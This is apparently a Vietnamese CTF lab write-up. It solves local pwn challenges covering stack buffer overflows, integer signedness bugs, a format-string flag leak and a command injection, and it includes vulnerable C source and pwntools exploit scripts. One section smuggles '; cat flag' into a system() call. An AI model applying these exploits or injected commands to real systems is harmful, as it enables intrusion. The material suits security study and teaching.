# PWN ## Giới thiệu môi trường thực hành Ubuntu 22.04 Sau khi giải nén folder bài tập, sử dụng lệnh `chmod -R +x *` cấp quyền excute cho tất cả các file để làm bài tập. * Sử dụng trình debug: Pwndbg cài đặt: ``` git clone https://github.com/pwndbg/pwndbg cd pwndbg ./setup.sh ``` * Sử dụng công cụ hỗ trợ dịch ngược ida cài đặt: https://hex-rays.com/ida-free/#download * Sử dụng thư viện python: pwntools cài đặt: pip install pwntools ## Bufferoverflow-homemade-cookie-v1 ### Mô tả nhiệm vụ Bài cho 3 file gồm 1 file thực thi `Bufferoverflow-homemade-cookie-v1`, 1 file mã nguồn `Bufferoverflow-homemade-cookie-v1.c` và 1 file `flag` để in ra flag nếu khai thác thành công. Nhiệm vụ của chúng ta là đọc và phân tích mã nguồn để tìm hướng khai thác, sau đó debug để viết mã khai thác, cuối cùng là chạy mã khai thác để nhận được flag. ### Bước 1: Phân tích mã nguồn ```cpp= #include <stdio.h> #include <stdlib.h> void cat_flag() { system("cat flag"); } void vun() { int i = 0xc00c1e; char buff[16]; gets(&buff); printf("%s", buff); if (i != 0xc00c1e) { printf("DONT SMASH THE STACK PLZ!\n"); exit(0); } } int main() { vun(); return 0; } ``` Đọc đoạn code trên ta có thể thấy chương trình có 3 hàm `main()`, `vun()`, `cat_flag()`. Hàm `main()` gọi tới hàm `vun()`, hàm `cat_flag()` không được gọi trong cả chương trình, do vậy hãy đi vào phân tích sâu hơn hàm `vun()`. Hàm `vun` khai báo biến i = `0xc00c1e` và mảng buff có kích thước 16 bytes, chương trình sử dụng hàm `gets()` để đọc dữ liệu từ bàn phím, vì hàm `gets()` không kiểm soát số lượng ký tự đầu vào của chương trình dẫn đến đây là nơi dẫn đến lỗi buffer overflow. Tiếp theo chương trình sẽ so sánh biến i ban đầu xem nó có bị thay đổi gì không, nếu i bị thay đổi thì in ra `DONT SMASH THE STACK PLZ!` Do vậy ý tưởng là nhập tràn buff để return về địa chỉ hàm `cat_flag()` mà không làm thay đổi biến i. ### Bước 2: Thực hiện debug ![](https://hackmd.io/_uploads/H1ZC5nKIn.png) Sử dụng gdb thấy biến i nằm ở vị trí `ebp - 0xc`, biến buff nằm ở vị trí `ebp - 0x1c` tức là biến buff cách biến i 16 bytes. ![](https://hackmd.io/_uploads/BJ6Q0hFL2.png) Do vậy ý tưởng là ghi đầy 16 bytes của Buff, biến i thì vẫn phải giữ nguyên là `0xc00c1e` để thoả mãn điều kiện đề bài cho, tiếp tục ghi thêm 0xc(12) bytes để ghi đè cả EBP sau đó return address về địa chỉ của hàm `cat_flag()`, tìm được điạ chỉ của hàm `cat_flag()` là 0x080484cb. ![](https://hackmd.io/_uploads/ByKxihF8h.png) ### Bước 3: Viết mã khai thác Sử dụng pwntools viết mã khai thác, payload có dạng "a" * 16 + [giá trị ban đầu của biến i] + "a" * 12 + [địa chỉ của hàm cat_flag] ```python= from pwn import * r = process("./Bufferoverflow-homemade-cookie-v1") payload = b'a'*16 + p32(0xc00c1e) + 0xc*b'a' + p32(0x080484cb) print(payload) r.sendline(payload) r.interactive() ``` ![](https://hackmd.io/_uploads/S11xgatIh.png) ## Bufferoverflow-homemade-cookie-v2 ### Mô tả nhiệm vụ Bài cho 3 file gồm 1 file thực thi Bufferoverflow-homemade-cookie-v2, 1 file mã nguồn Bufferoverflow-homemade-cookie-v2.c và 1 file flag để in ra flag nếu khai thác thành công. Nhiệm vụ của chúng ta là đọc và phân tích mã nguồn để tìm hướng khai thác, sau đó debug để viết mã khai thác, cuối cùng là chạy mã khai thác để nhận được flag. ### Bước 1: Phân tích mã nguồn ```cpp= #include <stdio.h> #include <stdlib.h> #include <time.h> int cookie; void cat_flag() { system("cat flag"); } void vun() { int i = cookie; char buff[16]; gets(&buff); printf("%s", buff); if (i != cookie) { printf("DONT SMASH THE STACK PLZ!\n"); exit(0); } } int main() { struct timespec t; clock_gettime(CLOCK_MONOTONIC_RAW, &t); srand(t.tv_nsec); cookie = rand() % 0xff; printf("%x\n", cookie); vun(); return 0; } ``` Tương tự bài trên nhưng biến cookie giờ random, thế nhưng nó vẫn in ra giá trị cookie, do vậy ta có thể mặc định rằng đã có cookie. ### Bước 2: Thực hiện debug Hàm vun() tương tự như bài 1 ![](https://hackmd.io/_uploads/r19pB6tUh.png) Tìm được địa chỉ hàm `cat_flag()` là 0x0804857b ![](https://hackmd.io/_uploads/rJ37H6F82.png) ### Bước 3: Viết mã khai thác Sử dụng pwntools viết mã khai thác, payload có dạng "a" * 16 + [giá trị cookie nhận đươc] + "a" * 12 + [địa chỉ của hàm cat_flag] ```python= from pwn import * r = process("./Bufferoverflow-homemade-cookie-v2") cookie = r.recvline().decode() print(cookie) payload = b'a'*16 + p32(int(cookie,16)) + 0xc*b'a' + p32(0x0804857b) print(payload) r.sendline(payload) r.interactive() ``` ![](https://hackmd.io/_uploads/ByDev6KUh.png) ## Integer-overflow-1 ### Mô tả nhiệm vụ Bài cho 3 file gồm 1 file thực thi Integer-overflow-1, 1 file mã nguồn Integer-overflow-1.c và 1 file flag để in ra flag nếu khai thác thành công. Nhiệm vụ của chúng ta là đọc và phân tích mã nguồn để tìm hướng khai thác, sau khi khai thác xong ta debug và giải thích lại. ### Bước 1: Phân tích mã nguồn ```cpp= #include <stdio.h> #include <stdlib.h> void vun() { unsigned int temp; char buff[4]; printf("Give me more than 99999$ and i will give you my flag\n"); printf("Input your money ...\n"); read(0, buff, 3); temp = atoi(buff); if (temp > 99999) system("cat flag"); else printf("ONLY %d$ ??? YOU CANT GET MY FLAG! BYEEEEEEEEEE!\n", temp); } int main() { vun(); return 0; } ``` Chương trình đọc 3 ký tự rồi đưa qua hàm atoi để chuyển từ chuỗi sang số và so sánh số vừa nhập có lớn hơn 99999 hay không ? Nếu có thì in ra flag. ### Bước 2: Lập kịch bản khai thác Lúc đầu biến `temp` được khai báo là `unsigned int`, unsigned int lưu trữ được các giá trị từ `0 -> 2^32 - 1 = 4294967295(0xffffffff)` nhưng hàm atoi lại trả về kiểu int tức là từ `-2^31 -> 2^31 - 1` nên ta có thể nhập `-1` thì int -1 khi chuyển sang unsigned int sẽ thành `0xffffffff` ### Bước 3: Viết mã khai thác và debug giải thích Nhập -1 vào chương trình ![](https://hackmd.io/_uploads/B1m0pCtUh.png) ![](https://hackmd.io/_uploads/SklFNRAFUh.png) đặt breakpoint tại 0x08048516: cmp DWORD PTR [ebp-0xc],0x1869f ![](https://hackmd.io/_uploads/Ska1Jk9I3.png) ta thấy [ebp-0xc] = 0xffffcfac sau khi run được gán bằng 0xffffffff ![](https://hackmd.io/_uploads/BJA-kk9L2.png) ## Integer-overflow-2 ### Mô tả nhiệm vụ Bài cho 3 file gồm 1 file thực thi Integer-overflow-2, 1 file mã nguồn Integer-overflow-2.c và 1 file flag để in ra flag nếu khai thác thành công. Nhiệm vụ của chúng ta là đọc và phân tích mã nguồn để tìm hướng khai thác, sau khi khai thác xong ta debug và giải thích lại. ### Bước 1: Phân tích mã nguồn ```cpp= #include <stdio.h> #include <stdlib.h> #include <string.h> void vun() { char buff[16]; int your_money = 5000; printf("FLAG's PRIZE: 5001$\n"); printf("Your money: %d$\n", your_money); printf("YOU BET ... \n"); read(0, buff, 15); if (strstr(buff, "-") != NULL) // this alway bigger than 0 haha { printf("BYE BYE HACKER ...\n"); exit(0); } int your_bet = strtoul(buff, NULL, 0); if (your_bet > your_money) { printf("YOU THINK I AM STUPID???\n"); exit(0); } printf("Guess my number ...\n"); read(0, buff, 15); printf("It isn't my number! You lose!\n"); your_money -= your_bet; printf("You money: %d$\n", your_money); if (your_money > 5000) system("cat flag"); else printf("Good bye loser\n"); } int main() { vun(); return 0; } ``` Chương trình cho mình sẵn số tiền 5000$ yêu cầu sau khi cá độ (bet) số tiền phải tăng lên nhưng khi bet chỉ giảm tiền `your_money -= your_bet`. Nếu số tiền > 5000 thì in ra flag. ### Bước 2: Lập kịch bản khai thác Để có thể `cat flag` thì your_money > 5000 suy ra your_bet < 0, ta thấy your_bet được ép kiểu là dạng int `int your_bet = strtoul(buff, NULL, 0)` mà Int trong khoảng -2^31 -> 2^31 - 1. Trong khoảng số dương từ 0 -> 2^31 - 1 (0x7fffffff) bắt đầu từ 0x80000000 -> 0xffffffff sẽ biểu diễn số âm (-2^31-> -1) vậy thì đơn giản ta chỉ cần làm cho your_money=5001 băng cách làm cho your_bet=-1 hay biểu diễn dươí dang unsigned là 0xffffffff=4294967295 ### Bước 3: Viết mã khai thác và debug giải thích đơn giản là chaỵ chương trinh nhập your_bet=4294967295 và lấy flag ![](https://hackmd.io/_uploads/r1k1ZQc82.png) ## Formatstring-leak-flag-in-mem-stack-64bit ### Mô tả nhiệm vụ Bài cho 3 file gồm 1 file thực thi Formatstring-write-got-without-leak, 1 file mã nguồn Formatstring-write-got-without-leak.c và 1 file flag để in ra flag nếu khai thác thành công. Nhiệm vụ của chúng ta là đọc và phân tích mã nguồn để tìm hướng khai thác, sau khi khai thác xong ta debug và giải thích lại. ### Bước 1: Phân tích mã nguồn ```cpp= #include <stdio.h> #include <stdlib.h> char buff[1024]; void vun() { printf("MY FLAG OVERTHERE! CAN YOU GET IT?\n"); gets(&buff); printf(buff); } int main() { FILE *file; char secret[64]; file = fopen("flag", "r"); fscanf(file, "%s", secret); fclose(file); vun(); return 0; } ``` Lỗi: `printf(buff);` printf mà chưa xác định rõ kiểu dữ liệu mà mình muốn in ra, cách printf đúng là: `printf("%s", buff);` Đọc hàm Main() ta thấy chương trình mở file flag và đọc nó vô biến secret mà ta thấy biến secret được khai báo 64 bytes và secret sẽ được lưu ở stack của hàm main, sau đó ta thấy chương trình gọi hàm vun() có lỗi FMT printf() vậy ta dùng lỗi này để leak flag. ### Bước 2: Lập kịch bản khai thác Trước tiên dùng GDB để kiểm tra stack, đặt break point ngay tại printf của hàm vun() ![](https://hackmd.io/_uploads/B1pPqXq83.png) Kiểm tra stack ta có thể thấy flag có ở trên stack ![](https://hackmd.io/_uploads/Syj2q7cIn.png) Để leak flag ta sẽ sử dụng %p, ở trong 64 bit, 5%p đầu tiên tương ứng với các thanh ghi RSI, RCX, R8, R9, R10 và địa chỉ đầu tiên trên stack sẽ tương ứng %p thứ 6 trở đi hay ta có thể ghi là %6$p Nhìn vào ảnh chụp stack ta có thể thấy flag bắt đầu từ %8$p đến %11$p ta sẽ lấy được flag, nhưng flag sẽ ở dưới dạng hex và ta cần viết một chương trình để ta đổi hex qua ascii. ### Bước 3: Viết mã khai thác ```python= from pwn import * r = process("./Formatstring-leak-flag-in-mem-stack-64bit") payload = b"%8$p%9$p%10$p%11$p%12$p" r.sendlineafter(b" CAN YOU GET IT?\n", payload) res = r.recv().decode() flag = b''.join([bytes.fromhex(i)[::-1] for i in res.split('0x')]) print(flag) ``` ![](https://hackmd.io/_uploads/r1npVE9Ln.png) ## Level 00 ### Mô tả nhiệm vụ Bài cho 2 file gồm 1 file thực thi `Level00`, 1 file flag. Nhiệm vụ của chúng ta là từ file thực thi in ra được flag. ### Bước 1: Reverse và phân tích mã nguồn ![](https://hackmd.io/_uploads/ryh1c4qIh.png) Đưa file `Level00` vào ida ta được mã giả code c ![](https://hackmd.io/_uploads/ryi_dEcLn.png) Chương trình cho nhập v4 kiểu char bằng hàm gets() nhưng lại so sánh v5 == 6969 trong khi không có chỗ nào có thể thay đổi v5. Hàm gets() được sử dụng để nhập chuỗi ký tự từ bàn phím nhưng không kiểm tra đội dài chuỗi nhập vào khiến chương trình có thể bị khai thác buffer overflow. ### Bước 2: Lập kịch bản khai thác Do v5 có địa chỉ cao hơn v4 và khoảng cách giữa v4 và v5 là 10 bytes nên ta có thể ghi đầy 10 bytes v4 và ghi thêm 6969 để đè lên v5 như vậy là ta sẽ đạt được flag. ### Bước 3: Viết mã khai thác ```python= from pwn import * r = process("./Level00") payload = b'a'*10 + p32(6969) r.sendline(payload) r.interactive() ``` ![](https://hackmd.io/_uploads/B19X1r58n.png) ## Level 01 ### Mô tả nhiệm vụ Bài cho 2 file gồm 1 file thực thi `Level01`, 1 file flag. Nhiệm vụ của chúng ta là từ file thực thi in ra được flag. ### Bước 1: Reverse và phân tích mã nguồn ![](https://hackmd.io/_uploads/ByDWlH5Lh.png) Đưa file `Level01` vào ida ta được mã giả code c ![](https://hackmd.io/_uploads/r1fkxS5I2.png) Chương trình khởi tạo một chuỗi v4 bằng giá trị "echo Hello ". Nối chuỗi v5 vào sau chuỗi v4 bằng hàm strcat cuối cùng là thực hiện lệnh system(v4), để thực thi lệnh "echo Hello " cùng với chuỗi v5 đã nhập từ người dùng. ### Bước 2: Lập kịch bản khai thác Do cuối cùng lại gọi hàm system với đầu vào nhận từ người dùng, ta có thể dùng payload `; cat flag`. Dấu ";" kết thúc lệnh echo và thêm lệnh cat flag thì sẽ lấy được flag. ### Bước 3: Viết mã khai thác ![](https://hackmd.io/_uploads/rk9XMr9Uh.png)